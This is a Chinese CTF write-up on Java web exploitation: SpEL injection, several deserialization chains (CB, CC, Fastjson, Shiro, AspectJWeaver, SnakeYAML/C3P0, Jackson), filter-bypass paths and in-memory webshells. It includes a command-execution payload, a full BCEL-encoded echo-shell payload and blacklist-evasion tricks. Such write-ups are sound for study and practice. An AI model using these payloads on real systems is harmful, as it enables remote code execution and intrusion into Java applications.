ezjava
spel表达式注入
payload
1 | ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("/bin/bash", "-c", "cat /app/flag.txt").start().getInputStream(), "gbk")).readLine() |
CB链
1 |
|
/user
路由存在反序列化
依赖是cb1.9.2 cc3.2.1
正常的话打CB链应该是这样的
1 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; |
但是复现的环境不出网,所以只能打内存马
先写一个类加载器
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
再写一个恶意类,将命令执行回显到response的header中
1 | import javax.servlet.*; |
读取并base64输出内存马的内容
1 | import java.io.IOException; |
通过CB链加载MyClassLoader,然后classData就是我们的内存马
Fastjson
fastjson1.2.24
1 | public class JsonController { |
拿payload直接打,不出网打TemplatesImpl
内存马
1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; |
payload
1 | { |
CC链
CC3.1依赖,/read存在反序列化
打CC3+内存马
1 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; |
FastJsonBCEL
JSONController
1 |
|
fastjson1.2.24,存在tomcat-dbcp依赖
题目环境不出网,通过BCEL回显
1 | package cn.p0l1st; |
1 | import com.sun.org.apache.bcel.internal.Repository; |
因为是用parse,payload
1 | { |
PolarOA
存在Shiro反序列化
但是爆破不出利用链
这里对cookie的长度做了限制,需要小于3500个字符
打无CC链的CB链就行,通过DynamicClassGenerator
生成恶意内存马
1 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; |
1 | import org.apache.shiro.codec.Base64; |
注意CB版本为1.8.3
ezJson
fastjson1.2.83
/read
路由
1 |
|
打fastjson原生反序列化
1 | package cn.p0l1st; |
PolarOA2.0
弱口令admin admin123登录
存在端点泄露,actuator/env actuator/heapdump
分析heapdump,找到Shiro key PBgMSEv6Wsc4XVmSJuR60A==
爆破找不到利用链,猜测还是和上一道题一样限制了cookie的字符长度
还是打CB链
1 | package CB; |
注意CB版本改成1.9.4
1 | <dependency> |
一写一个不吱声
题目描述:
clesses,你也许需要知道$JAVA_HOME? Java反序列化漏洞+特殊情况下的springboot任意文件写rce
F12 base64解码
1 | 小T在学习JAVA的时候遇到了一个问题:SpringBoot的任意文件写如何才能RCE? |
再看依赖,存在aspectjweaver1.9.5
,并且/read路由可以直接反序列化
aspectjweavery
有任意文件写入,参考AspectJWeaver反序列化利用链
但是上面触发SimpleCache$StoreableCachingMap
的put
方法是通过LazyMap
的get
方法,这里没有CC依赖
我们可以看到UserBean
中重写了readObject
,这里可以代替CC依赖的LazyMap,并且内容都是可控的
那么就解决了写任意文件链子的问题,但是我们应该往哪里写,写什么?
提示说了,这个Java项目在某个文件夹下,猜测这个文件夹是$JAVA_HOME/jre/classes
,我们就可以往里面写一个实现Serializable并且重写readObject方法的恶意类,最后通过反序列化进行RCE
至于为什么是
$JAVA_HOME/jre/clesses
根据类的双亲委派模型,类的加载顺序会先从
Bootstrap ClassLoader
的加载路径中尝试加载,当找不到该类时,才会选择从下一级的ExtClassLoader
的加载路径寻找,以此类推到引发加载的类所在的类加载器为止。我们可以通过
System.getProperty("sun.boot.class.path")
来看
这里的
D:\JavaEnviron\jdk1.8.0_65\jre\classes
对应的就是$JAVA_HOME/jre/clesses
,我们需要加载的类如果在这个路径下存在就可以被加载
题目环境的$JAVA_HOME
可以通过给的镜像名,/usr/lib/jvm/java-8-openjdk-amd64/jre/
注意题目还是不出网,jdk版本小于8u251
通过BCEL来回显
Exp
1 | package com.p0l1st; |
1 | import com.sun.org.apache.bcel.internal.util.ClassLoader; |
这里的BCEL回显可以用
1 | import java.lang.reflect.Method; |
[!NOTE]
这里先传入我们的Exp写class,然后再传入我们的EvilEcho,对其进行反序列化从而触发readObject执行我们的回显马
并且EvilEcho不要有包名
SnakeYaml
/load
路由存在snakeyaml反序列化
1 | public class LoadController { |
依赖
结合题目描述,打C3P0二次反序列化,无回显不出网,还需要打内存马
1 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; |
再来看CC6
1 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; |
1 | package com.p0l1st; |
ezUtil
com.polar.ctf.admin.api.controller.GetClasssController
这里存在反射可以调用任意方法
再来看FileUtil,这里可以创建文件夹,删除文件夹,写zip,解压zip,并且unZipFile解压时存在目录穿越
那么就有任意文件上传了,至于写什么可以参考上面的一写一个不吱声,直接往$JAVA_HOME/jre/classes写一个类,然后通过GetClasssController
去调用
但是我们访问/admin/*会被Filter拦截
可以用/admin;/xxx/xxx;admin/
来绕过
恶意类
1 | import java.lang.reflect.Method; |
zip
1 | import zipfile |
我们先上传zip
1 | POST /admin;/api/GetClassValue;admin/ HTTP/1.1 |
然后解压
1 | POST /admin;/api/GetClassValue;admin/ HTTP/1.1 |
最后传入一写一个不吱声
的回显马
1 | {"data":{"fieldName":["$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$d9w$TU$Y$ff$dd6$c9L$a7SJ$d3$966$y$d2$b2$s$F$S$caN$5b$95$d2$82E$da$82$a4PKA$9dNo$9b$a1$93$9903$v$F$f7$5dq$c3$NE$dc$Q$V$3d$3e$f1$S8z$e0$f8$ec$83$be$f8$ea$93O$fa$e2$7f$m$7e7$93$40$d2$W$b5$e7$f4$bb$f7$7e$fb$9e$f9$e9$ef$efo$C$d8$82o$VT$e1$a0$82$87pH$80$a4$8c$n$F$87qD$c6$b0$84$87$VH$Y$91pT$c1$u$8e$c98$$$e3$R$Z$8f$caxL$86$shc2t$Z$e3$S$b8$e0$98$901$v$p$a5$c0$c0$J$F$f5$98$92a$8a3$z$c3$92a$cb$c8$Ic$te8$S$5c$F$k$b2$CL$x8$85$Z$F$z8$z$e3$8c8$l$X$e0$J$ZO$caxJ$c2$d3$K$da$f0$8c$84g$ZB$5d$86ex$f71TFcG$Y$C$3d$f68g$a8$ed7$y$3e$98M$8fqgH$h3$J$T$ee$b7u$cd$3c$a29$86x$X$90$B$_e$b8$82$a6$db$e9Df$a3$d9$eez$89d$8a$9bf$t$83$dc$a5$9b$F$d5$V$d3$h$Z$ea$faOh$d3Z$c2$d4$ac$c9D$8f$a9$b9n$a7$m$b43$y$$$n8$7c$c2$e4$ba$97$Y$e0$5e$ca$k$cfsl$S$fa$efp$i$Y$3bA$My$caf$B$b6$I$b0U$80m$Cl$X$60$87$A$3b$cb$e5$92$9ecX$93$qW9$ddN$de$d4$8f$ceG$LNkN$3b$b9$d4XB$dc3$a3$f3$8cg$d8$W$d1k$92$9e$a6O$Nh$99$7c$fcTL$J$cfQ$v$a9V$Sz$v$ad$MJ$d2$ce$3a$3a$dfk$88$f4$u$f9$5c$c4$85$$$V$h$Q$97$f0$bc$8a$X$f0$a2$8a$97$f02C$97$edL$c6$dd$8c$b0$3d$e1hi$7e$cav$a6$e2$a7$f8X$5c$b7$z$8f$cfxq$87$9f$ccr$d7$8b$l$f2$cf$k$l$ddg$9b$e3$9c$ca$fd$8a$8aWq$96$a1a$92$7b$F$8en$8f$o$Z$cbz$9c$8aR$3b$x$dd$w$5e$c3$eb$M$Lg$a7$92BP$f1$G$ded$d8$f5$7f$fdIrg$da$9c$d7hu$de$X7c$5b$ae$88$ff$8eg$M$cb$84$e1$99$b8$eb$cb$de$d1Qd$ae$o$e6a$c7$f0$b8$a3$e2$z$e1$e9$ear$81$94$e7e$e2$7d$E$ca$ad$fb$82$7d$5c$a3$9c$94E$e7$XU$c59$bcME$d7$d3$e3$M$92$ed$c6$z$KL$c2$3b$w$de$c5$7b$w$de$c7y$o$O$ef$hT$f1$B$3e$a4$b6I$e8$c4$96$Y3$ac$84$9b$a2$e7$G$5d$c5$F$7cD8$91$W$cf$b4$a8$8f$f3$s$b2$9ea$s$92$bafY$a2$U$XU$7c$8cOT$7c$8a$cf$q$7c$ae$e2$S$be$Q$F$bfL$g$8eu$ab$f8$S_$a9$f8Z$98$KN$98Y$a18$a8$9b$b6EA$d7$cf$d3g$w$ae$e0$h$Ke$f6L14$dfmP$ca$C$lJ9$94$NjV$3d$eb8$dc$f2$8a$ef$86h$ac$7f6$X$f5t$p$a5$af$d0Y$f9$3e$e9$b7$fdTF$ca$d8KHBf$5e$C$95$c2$a4K$kC$e5$8b$ce$9d$b09$g$3b$fd$f2$V$a3$d85$8f$cc$e8$i$99$d8$bf$z$8c$90aM$dbS$94$da$9d$d1$b9$5bct$$$w6$dfn$a9$p$9fz$b9nj$O$l$_$faV$e3r$af$5b$d7$b9$eb$g$fe$ee$8b$k$V$L$b3$b4$e3N$bb$kO$fbCp$d0$b13$dc$f1N3$ac$f9$8f$3c$dc$5e$3e$d5$9e$7d8CB$3d$9a$Y$87$f2j$ddf$92$c5$yj$86E$J$5eR$aa$b8$t$a59I1$R$96$ce$3bcG$89Q$94$d5$afD$fd$dcJv$W$fb8$8f$3a$94$b5$3c$p$5d$i$d8$e2$a3$b1L$ac$80$s$c1$A$9f$e14$r$d1$e8$3c$x$b4T$82R$m$b2Un$aa$80dX$40$a6$f6Y$99$acG$92$5c$a3$ac5$V$cd$Zv$a2$84$40$e2$cd$d1y$J$o$fbj$d6$e5$bd$dc4$d2bo0$ac$bd$7b$aeK$HV$EaQ$bfSQ$c9$8b$fcN$lr4$9dbn$89$c6$ca$a3$w$92$f6$98$3cM$b3$d4$89V$ac$a7$l$5c$f1W$B$s$96$3a$c1$E$bd$St2$3a$83m$d7$c0$ae$e6$c9$h$J$86$f2$c8$Q$da$J$aa$3e$D6a3$9d2$7d$v$U$84$x$be$p$95$d5$A$d3$af$a3$o$87$cap$m$87$e0$fe$b6p$a8$f2$G$a4$i$e4$feu$8cnU9$u$D$F$86j$9fA$z2$b4$85k$K$d7$c1u$eb$L$bc$j$81$N$b7$af$c1$82$dc$C$92$L$d7$fa$ac$L$3bB$Fl$9d$c0$86$D$84$j$a9$M$d7$t$FI$8aH$e4DC$q$e4$c3H$a0$a8I$8eH$91$m$b1V$Rk$p$b1$w$3f$a2$be$a3$wt$83$a0$S$5et$jM94$87$p9$y$be$80pD$R$3c$R$r$Q$5e$92$bc$82Z$f1$5c$9a$7f$$$p$Y$8cT$r$pr$O$f7$84$97$97Z$8e$c8$be$f2$l$d02r$j$ad$R$r$87$V9$ac$bc$86U$e1$d59$ac$c9a$ad0$3a$ecKF$L$91D$e4$82$7b$F$7cl$O$fe$K$aa$f6$b7$e5$b0n$f8$aa$u$C$ha$c7$e8$L$a82_$o$HK$JVQy$U4Q$ZZ$nvw$Nv$60$BzP$8bA$y$c4$I$ea$60$p$8c$b3$f4$e9u$O$N8$8fF$5c$c6$oP$bc$b8$89f$fc$8c$I$7e$c5b$fcF$ba$7e$c72$fc$81$e5$f8$L$z$y$86V$d6$8d$Vl$E$ab$c9$e2Jv$i$ab$d8$Y$d6$e4$db$e1$M$d9Q$d9$A$b6b$h$bd$9a$d8nl$t$9b$8c$qv$60$t$3a$a8$81z$d8$ot$S$ae$S$83$ac$g$5d$84$L$60$84$dc$bf$97nA$f2$e7O$dcG$d4$Qy$f5$L$ee$a7$9bD$3e$e5$b0$8b$a82yv$J$dd$d8Mq$dd$c4E$8a$a3$X$KY$Pb$P$f6$92$b5$H$e8$7f$h$C$b7$c8$e1j$J$7d$S$f6Ix$b0$I$fd$8b$7f$df$_$a1$l$a8$beEY$a2$b4I$Y$I$92$87$83$f9$f6$3e$f0$P$a0V$dbq$f1$K$A$A"],"methodName":"getShell","clazzName":"Evil"}} |
ez_check
/deserialize
可以直接反序列化,KmpCheck方法会检验是否存在黑名单字符串
1 | bsh. |
SafeObjectInputStrea
存在黑名单类
依赖只有SpringBoot但是SpringBoot自带Jackson
打Jackson原生二次反序列化,黑名单用UTF-8 Overlong Encoding绕过
大致的链子应该是
1 | readObject()-> |
Exp
1 | import com.fasterxml.jackson.databind.node.POJONode; |
UTF8OverlongObjectOutputStream
1 | import sun.misc.Unsafe; |
About this Post
This post is written by p0l1st, licensed under CC BY-NC 4.0.